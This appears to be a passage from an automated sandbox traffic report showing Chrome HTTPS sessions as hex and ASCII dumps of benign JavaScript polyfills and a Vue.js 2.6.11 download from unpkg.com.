Data Ascii: root.nodeType)throw new Error('root must be an Element');this._checkForIntersections=h(this._check
ForIntersections.bind(this),this.THROTTLE_TIMEOUT),this._callback=q,this._observationTargets=[],this._queuedEntries=
[],this._rootMarginValues=this._parseRoot
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2022-05-13 14:40:10 UTC 547 IN Data Raw: 7d 7d 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 71 2c 72 29 7b 66 6f 72 28 76 61 72 20 73 3d 72 3b 73 3b 29 7b 69 
66 28 73 3d 3d 71 29 72 65 74 75 72 6e 21 30 3b 73 3d 70 28 73 29 7d 72 65 74 75 72 6e 21 31 7d 2c 70 3d 66 75 6e 63 
74 69 6f 6e 28 71 29 7b 76 61 72 20 72 3d 71 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 72 26 26 31 31 
3d 3d 72 2e 6e 6f 64 65 54 79 70 65 26 26 72 2e 68 6f 73 74 3f 72 2e 68 6f 73 74 3a 72 7d 3b 69 66 28 27 49 6e 74 65 72 
73 65 63 74 69 6f 6e 4f 62 73 65 72 76 65 72 27 69 6e 20 62 26 26 27 49 6e 74 65 72 73 65 63 74 69 6f 6e 4f 62 73 65 72 
76 65 72 45 6e 74 72 79 27 69 6e 20 62 26 26 27 69 6e 74 65 72 73 65 63 74 69 6f 6e 52 61 74 69 6f 27 69 6e 20 49 6e 7
4 65 72 73 65 63 74 69 6f 6e 4f 62 73 65 72 76 65 72 45 6e 74 72 
Data Ascii: }},o=function(q,r){for(var s=r;s;){if(s==q)return!0;s=p(s)}return!1},p=function(q){var r=q.parentNode;return 
r&&11==r.nodeType&&r.host?r.host:r};if('IntersectionObserver'in b&&'IntersectionObserverEntry'in b&&'intersectionRatio'in 
IntersectionObserverEntr

2022-05-13 14:40:10 UTC 548 IN Data Raw: 6e 75 6d 62 65 72 27 21 3d 74 79 70 65 6f 66 20 73 7c 7c 69 73 4e 61 4e 28 73 29 7c 7c 30 3e 73 7c 7c 31 3c 
73 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 27 74 68 72 65 73 68 6f 6c 64 20 6d 75 73 74 20 62 65 20 61 20 6e 
75 6d 62 65 72 20 62 65 74 77 65 65 6e 20 30 20 61 6e 64 20 31 20 69 6e 63 6c 75 73 69 76 65 6c 79 27 29 3b 72 65 74 
75 72 6e 20 73 21 3d 3d 76 5b 75 2d 31 5d 7d 29 7d 2c 66 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 70 61 72 73 65 52 6f 6f 74 
4d 61 72 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 71 29 7b 76 61 72 20 73 3d 28 71 7c 7c 27 30 70 78 27 29 2e 73 70 6c 
69 74 28 2f 5c 73 2b 2f 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 75 29 7b 76 61 72 20 76 3d 2f 5e 28 2d 3f 5c 64 2a 
5c 2e 3f 5c 64 2b 29 28 70 78 7c 25 29 24 2f 2e 65 78 65 63 28 
Data Ascii: number'!=typeof s||isNaN(s)||0>s||1<s)throw new Error('threshold must be a number between 0 and 1 inclusivel
y');return s!==v[u-1]})},f.prototype._parseRootMargin=function(q){var s=(q||'0px').split(/\s+/).map(function(u){var v=/^(-?
\d*\.?\d+)(px|%)$/.exec(

2022-05-13 14:40:10 UTC 550 IN Data Raw: 68 69 73 2e 5f 67 65 74 52 6f 6f 74 52 65 63 74 28 29 3a 6e 28 29 3b 74 68 69 73 2e 5f 6f 62 73 65 72 76 61 
74 69 6f 6e 54 61 72 67 65 74 73 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 73 29 7b 76 61 72 20 75 3d 73 
2e 65 6c 65 6d 65 6e 74 2c 76 3d 6d 28 75 29 2c 77 3d 74 68 69 73 2e 5f 72 6f 6f 74 43 6f 6e 74 61 69 6e 73 54 61 72 67 
65 74 28 75 29 2c 78 3d 73 2e 65 6e 74 72 79 2c 79 3d 71 26 26 77 26 26 74 68 69 73 2e 5f 63 6f 6d 70 75 74 65 54 61 
72 67 65 74 41 6e 64 52 6f 6f 74 49 6e 74 65 72 73 65 63 74 69 6f 6e 28 75 2c 72 29 2c 7a 3d 73 2e 65 6e 74 72 79 3d 6e 
65 77 20 65 28 7b 74 69 6d 65 3a 67 28 29 2c 74 61 72 67 65 74 3a 75 2c 62 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 6
5 63 74 3a 76 2c 72 6f 6f 74 42 6f 75 6e 64 73 3a 72 2c 69 6e 74 
Data Ascii: his._getRootRect():n();this._observationTargets.forEach(function(s){var u=s.element,v=m(u),w=this._rootConta
insTarget(u),x=s.entry,y=q&&w&&this._computeTargetAndRootIntersection(u,r),z=s.entry=new e({time:g(),target:u,
boundingClientRect:v,rootBounds:r,int

2022-05-13 14:40:10 UTC 551 IN Data Raw: 6c 65 66 74 3a 71 2e 6c 65 66 74 2d 72 5b 33 5d 7d 3b 72 65 74 75 72 6e 20 73 2e 77 69 64 74 68 3d 73 2e 
72 69 67 68 74 2d 73 2e 6c 65 66 74 2c 73 2e 68 65 69 67 68 74 3d 73 2e 62 6f 74 74 6f 6d 2d 73 2e 74 6f 70 2c 73 7d 2c 
66 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 68 61 73 43 72 6f 73 73 65 64 54 68 72 65 73 68 6f 6c 64 3d 66 75 6e 63 74 69 6f 
6e 28 71 2c 72 29 7b 76 61 72 20 73 3d 71 26 26 71 2e 69 73 49 6e 74 65 72 73 65 63 74 69 6e 67 3f 71 2e 69 6e 74 65 
72 73 65 63 74 69 6f 6e 52 61 74 69 6f 7c 7c 30 3a 2d 31 2c 75 3d 72 2e 69 73 49 6e 74 65 72 73 65 63 74 69 6e 67 3f 72 
2e 69 6e 74 65 72 73 65 63 74 69 6f 6e 52 61 74 69 6f 7c 7c 30 3a 2d 31 3b 69 66 28 73 21 3d 3d 75 29 66 6f 72 28 76 61 
72 20 77 2c 76 3d 30 3b 76 3c 74 68 69 73 2e 74 68 72 65 73 68 
Data Ascii: left:q.left-r[3]};return s.width=s.right-s.left,s.height=s.bottom-s.top,s},f.prototype._hasCrossedThreshold=
function(q,r){var s=q&&q.isIntersecting?q.intersectionRatio||0:-1,u=r.isIntersecting?r.intersectionRatio||0:-1;if(s!==u)for(var 
w,v=0;v<this.thresh

2022-05-13 14:40:10 UTC 552 IN Data Raw: 75 6e 63 74 69 6f 6e 28 64 61 29 7b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 
3b 66 75 6e 63 74 69 6f 6e 20 65 61 28 29 7b 72 65 74 75 72 6e 20 68 62 5b 52 61 5d 5b 54 61 5d 7c 7c 52 61 2b 22 28 
22 2b 54 61 2b 22 29 22 7d 66 75 6e 63 74 69 6f 6e 20 67 61 28 6b 62 29 7b 72 65 74 75 72 6e 20 6b 62 26 26 22 6f 62 
6a 65 63 74 22 3d 3d 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6b 62 3f 22 75 6e 64 65 66 69 6e 6
5 64 22 3a 5f 74 79 70 65 6f 66 28 6b 62 29 29 7d 66 75 6e 63 74 69 6f 6e 20 68 61 28 6b 62 29 7b 72 65 74 75 72 6e 22 
66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6b 62 7d 66 75 6e 63 74 69 6f 6e 20 69 61 28 6b 62 2c 6c 62 29 7b 
72 65 74 75 72 6e 20 6b 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 6c 
Data Ascii: unction(da){!function(){"use strict";function ea(){return hb[Ra][Ta]||Ra+"("+Ta+")"}function ga(kb){return k
b&&"object"==("undefined"==typeof kb?"undefined":_typeof(kb))}function ha(kb){return"function"==typeof kb}function ia(kb
,lb){return kb instanceof l

2022-05-13 14:40:10 UTC 554 IN Data Raw: 75 72 6e 20 6c 62 3d 6e 65 77 20 6b 62 28 66 75 6e 63 74 69 6f 6e 28 6f 62 2c 70 62 29 7b 69 66 28 6c 62 29 
74 68 72 6f 77 20 70 61 28 29 3b 6d 62 3d 6f 62 2c 6e 62 3d 70 62 7d 29 2c 6b 61 28 6d 62 2c 68 61 29 2c 6b 61 28 6e 
62 2c 68 61 29 2c 6c 62 7d 66 75 6e 63 74 69 6f 6e 20 75 61 28 6b 62 2c 6c 62 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 
74 69 6f 6e 28 6d 62 29 7b 4c 61 26 26 28 6b 62 5b 59 61 5d 3d 71 61 28 21 30 29 29 2c 6c 62 3d 3d 3d 50 61 3f 41 61 2
8 6b 62 2c 6d 62 29 3a 7a 61 28 6b 62 2c 6c 62 2c 6d 62 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 61 28 6b 62 2c 6c 62 2c 
6d 62 2c 6e 62 29 7b 72 65 74 75 72 6e 20 68 61 28 6d 62 29 26 26 28 6c 62 2e 5f 6f 6e 46 75 6c 66 69 6c 6c 65 64 3d 
6d 62 29 2c 68 61 28 6e 62 29 26 26 28 6b 62 5b 57 61 5d 26 26 72 61 
Data Ascii: urn lb=new kb(function(ob,pb){if(lb)throw pa();mb=ob,nb=pb}),ka(mb,ha),ka(nb,ha),lb}function ua(kb,lb){return 
function(mb){La&&(kb[Ya]=qa(!0)),lb===Pa?Aa(kb,mb):za(kb,lb,mb)}}function va(kb,lb,mb,nb){return ha(mb)&&(lb._onFulfil
led=mb),ha(nb)&&(kb[Wa]&&ra

2022-05-13 14:40:10 UTC 555 IN Data Raw: 3d 47 61 2c 7a 61 28 6b 62 2c 4f 61 2c 6f 62 29 29 7d 29 3b 6e 62 3d 3d 3d 65 62 26 26 6c 62 26 26 28 7a 61 
28 6b 62 2c 4f 61 2c 6e 62 2e 65 29 2c 6c 62 3d 47 61 29 7d 76 61 72 20 44 61 2c 45 61 2c 46 61 2c 47 61 3d 6e 75 6c 
6c 2c 48 61 3d 22 6f 62 6a 65 63 74 22 3d 3d 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 
64 6f 77 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 5f 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 29 29 2c 49 61 3d 48 61 3f 77 
69 6e 64 6f 77 3a 64 61 2c 4a 61 3d 49 61 2e 70 72 6f 63 65 73 73 2c 4b 61 3d 49 61 2e 63 6f 6e 73 6f 6c 65 2c 4c 61 3d 
21 31 2c 4d 61 3d 41 72 72 61 79 2c 4e 61 3d 45 72 72 6f 72 2c 4f 61 3d 31 2c 50 61 3d 32 2c 51 61 3d 33 2c 52 61 3d 22 
53 79 6d 62 6f 6c 22 2c 54 61 3d 22 73 70 65 63 69 65 73 22 2c 
Data Ascii: =Ga,za(kb,Oa,ob))});nb===eb&&lb&&(za(kb,Oa,nb.e),lb=Ga)}var Da,Ea,Fa,Ga=null,Ha="object"==("undefi
ned"==typeof window?"undefined":_typeof(window)),Ia=Ha?window:da,Ja=Ia.process,Ka=Ia.console,La=!1,Ma=Array,Na
=Error,Oa=1,Pa=2,Qa=3,Ra="Symbol",Ta="species",

2022-05-13 14:40:10 UTC 556 IN Data Raw: 5d 3b 72 65 74 75 72 6e 20 6d 62 3d 6d 61 28 6f 61 29 28 6b 62 2c 66 75 6e 63 74 69 6f 6e 28 71 62 2c 72 62 
29 7b 6e 62 2e 72 65 73 6f 6c 76 65 28 71 62 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 73 62 29 7b 70 62 5b 72 
62 5d 3d 73 62 2c 2d 2d 6d 62 7c 7c 7a 61 28 6f 62 2c 50 61 2c 70 62 29 7d 2c 6c 62 29 7d 29 2c 6d 62 3d 3d 3d 65 62 3f 
6e 62 2e 72 65 6a 65 63 74 28 6d 62 2e 65 29 3a 28 6d 62 7c 7c 7a 61 28 6f 62 2c 50 61 2c 5b 5d 29 2c 6f 62 29 7d 2c 68 
62 2e 53 79 6d 62 6f 6c 3d 49 61 5b 52 61 5d 7c 7c 7b 7d 2c 6d 61 28 66 75 6e 63 74 69 6f 6e 28 29 7b 4f 62 6a 65 63 74 
2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 68 62 2c 65 61 28 29 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 20 67 
65 74 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 7d 29 7d 29 
Data Ascii: ];return mb=ma(oa)(kb,function(qb,rb){nb.resolve(qb).then(function(sb){pb[rb]=sb,--mb||za(ob,Pa,pb)},lb)}),m
b===eb?nb.reject(mb.e):(mb||za(ob,Pa,[]),ob)},hb.Symbol=Ia[Ra]||{},ma(function(){Object.defineProperty(hb,ea(),{get:func
tion get(){return this}})})

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:10 UTC 558 IN Data Raw: 6f 6e 53 74 6f 72 61 67 65 29 29 7b 28 66 75 6e 63 74 69 6f 6e 20 28 29 7b 76 61 72 20 53 74 6f 72 61 67 65 
20 3d 66 75 6e 63 74 69 6f 6e 20 28 74 79 70 65 29 7b 66 75 6e 63 74 69 6f 6e 20 63 72 65 61 74 65 43 6f 6f 6b 69 65 28 
6e 61 6d 65 2c 76 61 6c 75 65 2c 64 61 79 73 29 7b 76 61 72 20 64 61 74 65 2c 65 78 70 69 72 65 73 3b 69 66 20 28 64 
61 79 73 29 7b 64 61 74 65 20 3d 6e 65 77 20 44 61 74 65 28 29 3b 64 61 74 65 2e 73 65 74 54 69 6d 65 28 64 61 74 65 
2e 67 65 74 54 69 6d 65 28 29 2b 28 64 61 79 73 2a 32 34 2a 36 30 2a 36 30 2a 31 30 30 30 29 29 3b 65 78 70 69 72 65 
73 20 3d 22 3b 65 78 70 69 72 65 73 3d 22 2b 64 61 74 65 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 3b 7d 65 6c 73 65 
20 7b 65 78 70 69 72 65 73 20 3d 22 22 3b 7d 64 6f 63 75 6d 65 6e 74 
Data Ascii: onStorage)){(function (){var Storage =function (type){function createCookie(name,value,days){var date,expire
s;if (days){date =new Date();date.setTime(date.getTime()+(days*24*60*60*1000));expires =";expires="+date.toGMT
String();}else {expires ="";}document

2022-05-13 14:40:10 UTC 559 IN Data Raw: 3b 7d 3b 69 66 20 28 21 69 73 6e 62 72 73 74 6f 41 76 61 69 6c 61 62 6c 65 28 77 69 6e 64 6f 77 2e 6c 6f 63 
61 6c 53 74 6f 72 61 67 65 29 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 20 3d 6e 65 77 20 53 74 6f 
72 61 67 65 28 27 6c 6f 63 61 6c 27 29 3b 7d 69 66 20 28 21 69 73 6e 62 72 73 74 6f 41 76 61 69 6c 61 62 6c 65 28 77 
69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 29 29 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 
61 67 65 20 3d 6e 65 77 20 53 74 6f 72 61 67 65 28 27 73 65 73 73 69 6f 6e 27 29 3b 7d 29 28 29 3b 7d 69 66 28 21 28 
27 61 66 74 65 72 27 20 69 6e 20 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 29 29 7b 27 75 73 65 20 73 74 72 6
9 63 74 27 3b 76 61 72 20 5f 74 79 70 65 6f 66 3d 27 66 75 6e 63 
Data Ascii: ;};if (!isnbrstoAvailable(window.localStorage)){window.localStorage =new Storage('local');}if (!isnbrstoAvai
lable(window.sessionStorage))window.sessionStorage =new Storage('session');})();}if(!('after' in Element.prototype)){'use 
strict';var _typeof='func

2022-05-13 14:40:10 UTC 561 IN Data Raw: 27 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 
6d 62 6f 6c 26 26 61 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 27 73 79 6d 62 6f 6c 27 3a 74 79 70 65 
6f 66 20 61 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 63 29 7b 69 66 28 21 63 2e 6c 
65 6e 67 74 68 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 27 44 4f 4d 20 45 78 63 65 70 74 69 6f 6e 20 38 27 29 
3b 65 6c 73 65 7b 69 66 28 31 3d 3d 3d 63 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 27 73 74 72 69 6e 67 27 3d 3d 74 
79 70 65 6f 66 20 63 5b 30 5d 3f 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 63 5b 30 5d 29 
3a 63 5b 30 5d 3b 66 6f 72 28 76 61 72 20 67 2c 64 3d 64 6f 63 
Data Ascii: '==typeof Symbol&&a.constructor===Symbol&&a!==Symbol.prototype?'symbol':typeof a};(function(){function 
b(c){if(!c.length)throw new Error('DOM Exception 8');else{if(1===c.length)return'string'==typeof c[0]?document.crea
teTextNode(c[0]):c[0];for(var g,d=doc

2022-05-13 14:40:10 UTC 562 IN Data Raw: 43 68 69 6c 64 28 27 73 74 72 69 6e 67 27 3d 3d 74 79 70 65 6f 66 20 67 3f 64 6f 63 75 6d 65 6e 74 2e 63 72 
65 61 74 65 54 65 78 74 4e 6f 64 65 28 67 29 3a 67 29 3b 72 65 74 75 72 6e 20 64 7d 7d 44 6f 63 75 6d 65 6e 74 2e 70 
72 6f 74 6f 74 79 70 65 2e 62 65 66 6f 72 65 3d 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 62 65 66 6f 72 65 
3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 68 69 73 2e 70 61 72 65 6e 
74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 62 28 61 72 67 75 6d 65 6e 74 73 29 2c 74 68 69 73 29 7d 2c 2
7 54 65 78 74 27 69 6e 20 74 68 69 73 26 26 28 54 65 78 74 2e 70 72 6f 74 6f 74 79 70 65 2e 62 65 66 6f 72 65 3d 45 6c 
65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 62 65 66 6f 72 65 
Data Ascii: Child('string'==typeof g?document.createTextNode(g):g);return d}}Document.prototype.before=Element
.prototype.before=function(){this.parentNode&&this.parentNode.insertBefore(b(arguments),this)},'Text'in this&&(Text.prot
otype.before=Element.prototype.before

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

28 192.168.2.3 49746 104.16.126.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:11 UTC 573 OUT GET /vue@2.6.11/dist/vue.min.js HTTP/1.1
Host: unpkg.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:11 UTC 573 IN HTTP/1.1 200 OK
Date: Fri, 13 May 2022 14:40:11 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
access-control-allow-origin: *
cache-control: public, max-age=31536000
last-modified: Sat, 26 Oct 1985 08:15:00 GMT
etag: W/"16de6-q9I58ClmstMksFEsIDvbr4Kk7Xo"
via: 1.1 fly.io
fly-request-id: 01FT89VX2KPV1ZSFJWTQXBT1TJ
CF-Cache-Status: HIT
Age: 9349032
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Server: cloudflare
CF-RAY: 70ac25d51f2a9231-FRA
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2022-05-13 14:40:11 UTC 574 IN Data Raw: 37 64 30 62 0d 0a 2f 2a 21 0a 20 2a 20 56 75 65 2e 6a 73 20 76 32 2e 36 2e 31 31 0a 20 2a 20 28 63 29 20 
32 30 31 34 2d 32 30 31 39 20 45 76 61 6e 20 59 6f 75 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 
65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 6
3 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 
20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 
79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 65 
7c 7c 73 65 6c 66 29 2e 56 75 65 3d 74 28 29 7d 28 74 68 69 73 2c 66 
Data Ascii: 7d0b/*! * Vue.js v2.6.11 * (c) 2014-2019 Evan You * Released under the MIT License. */!function(e,t){"object
"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):
(e=e||self).Vue=t()}(this,f

2022-05-13 14:40:11 UTC 575 IN Data Raw: 69 6e 69 74 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 72 65 74 75 72 6e 20 6e 28 65 29 26 
26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 2e 74 68 65 6e 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 
3d 74 79 70 65 6f 66 20 65 2e 63 61 74 63 68 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6
c 6c 3d 3d 65 3f 22 22 3a 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 7c 7c 73 28 65 29 26 26 65 2e 74 6f 53 74 72 
69 6e 67 3d 3d 3d 61 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 2c 6e 75 6c 6c 2c 32 29 3a 53 74 72 69 6e 67 
28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 29 7b 76 61 72 20 74 3d 70 61 72 73 65 46 6c 6f 61 74 28 65 29 3b 72 
65 74 75 72 6e 20 69 73 4e 61 4e 28 74 29 3f 65 3a 74 7d 66 75 6e 63 74 
Data Ascii: inite(e)}function u(e){return n(e)&&"function"==typeof e.then&&"function"==typeof e.catch}function l(e){return 
null==e?"":Array.isArray(e)||s(e)&&e.toString===a?JSON.stringify(e,null,2):String(e)}function f(e){var t=parseFloat(e
);return isNaN(t)?e:t}funct

2022-05-13 14:40:11 UTC 576 IN Data Raw: 72 20 54 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 21 31 7d 2c 45 3d 66 75 6e 63 
74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 4e 28 65 2c 74 29 7b 69 66 28 65 3d 
3d 3d 74 29 72 65 74 75 72 6e 21 30 3b 76 61 72 20 6e 3d 6f 28 65 29 2c 72 3d 6f 28 74 29 3b 69 66 28 21 6e 7c 7c 21 
72 29 72 65 74 75 72 6e 21 6e 26 26 21 72 26 26 53 74 72 69 6e 67 28 65 29 3d 3d 3d 53 74 72 69 6e 67 28 74 29 3b 74 
72 79 7b 76 61 72 20 69 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 2c 61 3d 41 72 72 61 79 2e 69 73 41 72 72 
61 79 28 74 29 3b 69 66 28 69 26 26 61 29 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3d 3d 3d 74 2e 6c 65 6e 67 74 
68 26 26 65 2e 65 76 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 
Data Ascii: r T=function(e,t,n){return!1},E=function(e){return e};function N(e,t){if(e===t)return!0;var n=o(e),r=o(t);if(!n||!r)re
turn!n&&!r&&String(e)===String(t);try{var i=Array.isArray(e),a=Array.isArray(t);if(i&&a)return e.length===t.length&&e.ev
ery(function(e,n)

2022-05-13 14:40:11 UTC 577 IN Data Raw: 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6e 2c 
65 6e 75 6d 65 72 61 62 6c 65 3a 21 21 72 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 
3a 21 30 7d 29 7d 76 61 72 20 48 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5b 5e 22 2b 50 2e 73 6f 75 72 63 65 2b 22 2e 
24 5f 5c 5c 64 5d 22 29 3b 76 61 72 20 42 2c 55 3d 22 5f 5f 70 72 6f 74 6f 5f 5f 22 69 6e 7b 7d 2c 7a 3d 22 75 6e 64 65 
66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2c 56 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 7
0 65 6f 66 20 57 58 45 6e 76 69 72 6f 6e 6d 65 6e 74 26 26 21 21 57 58 45 6e 76 69 72 6f 6e 6d 65 6e 74 2e 70 6c 61 74 
66 6f 72 6d 2c 4b 3d 56 26 26 57 58 45 6e 76 69 72 6f 6e 6d 65 6e 
Data Ascii: {Object.defineProperty(e,t,{value:n,enumerable:!!r,writable:!0,configurable:!0})}var H=new RegExp("[^"+P.sou
rce+".$_\\d]");var B,U="__proto__"in{},z="undefined"!=typeof window,V="undefined"!=typeof WXEnvironment&&!!WXE
nvironment.platform,K=V&&WXEnvironmen

2022-05-13 14:40:11 UTC 579 IN Data Raw: 74 68 69 73 2e 73 75 62 73 3d 5b 5d 7d 3b 63 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 53 75 62 3d 66 75 
6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 73 75 62 73 2e 70 75 73 68 28 65 29 7d 2c 63 65 2e 70 72 6f 74 6f 74 79 
70 65 2e 72 65 6d 6f 76 65 53 75 62 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 68 28 74 68 69 73 2e 73 75 62 73 2c 65 29 
7d 2c 63 65 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 70 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 65 2e 74 61 72 6
7 65 74 26 26 63 65 2e 74 61 72 67 65 74 2e 61 64 64 44 65 70 28 74 68 69 73 29 7d 2c 63 65 2e 70 72 6f 74 6f 74 79 70 
65 2e 6e 6f 74 69 66 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 68 69 73 2e 73 75 62 73 
2e 73 6c 69 63 65 28 29 2c 74 3d 30 2c 6e 3d 65 2e 6c 65 6e 67 74 68 
Data Ascii: this.subs=[]};ce.prototype.addSub=function(e){this.subs.push(e)},ce.prototype.removeSub=function(e){h(this.s
ubs,e)},ce.prototype.depend=function(){ce.target&&ce.target.addDep(this)},ce.prototype.notify=function(){for(var e=this.
subs.slice(),t=0,n=e.length

2022-05-13 14:40:11 UTC 580 IN Data Raw: 66 6e 53 63 6f 70 65 49 64 3d 65 2e 66 6e 53 63 6f 70 65 49 64 2c 74 2e 61 73 79 6e 63 4d 65 74 61 3d 65 2e 
61 73 79 6e 63 4d 65 74 61 2c 74 2e 69 73 43 6c 6f 6e 65 64 3d 21 30 2c 74 7d 76 61 72 20 79 65 3d 41 72 72 61 79 2e 
70 72 6f 74 6f 74 79 70 65 2c 67 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 79 65 29 3b 5b 22 70 75 73 68 22 2c 22 
70 6f 70 22 2c 22 73 68 69 66 74 22 2c 22 75 6e 73 68 69 66 74 22 2c 22 73 70 6c 69 63 65 22 2c 22 73 6f 72 74 22 2c 22 
72 65 76 65 72 73 65 22 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 79 65 5b 
65 5d 3b 52 28 67 65 2c 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 6e 3d 5b 5d 2c 72 3d 61 72 67 7
5 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 72 2d 2d 3b 29 6e 5b 72 
Data Ascii: fnScopeId=e.fnScopeId,t.asyncMeta=e.asyncMeta,t.isCloned=!0,t}var ye=Array.prototype,ge=Object.cre
ate(ye);["push","pop","shift","unshift","splice","sort","reverse"].forEach(function(e){var t=ye[e];R(ge,e,function(){for(var n=[],
r=arguments.length;r--;)n[r

2022-05-13 14:40:11 UTC 581 IN Data Raw: 2e 5f 5f 6f 62 5f 5f 2e 64 65 70 2e 64 65 70 65 6e 64 28 29 2c 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 6e 
29 26 26 65 28 6e 29 7d 28 74 29 29 29 2c 74 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 72 3d 
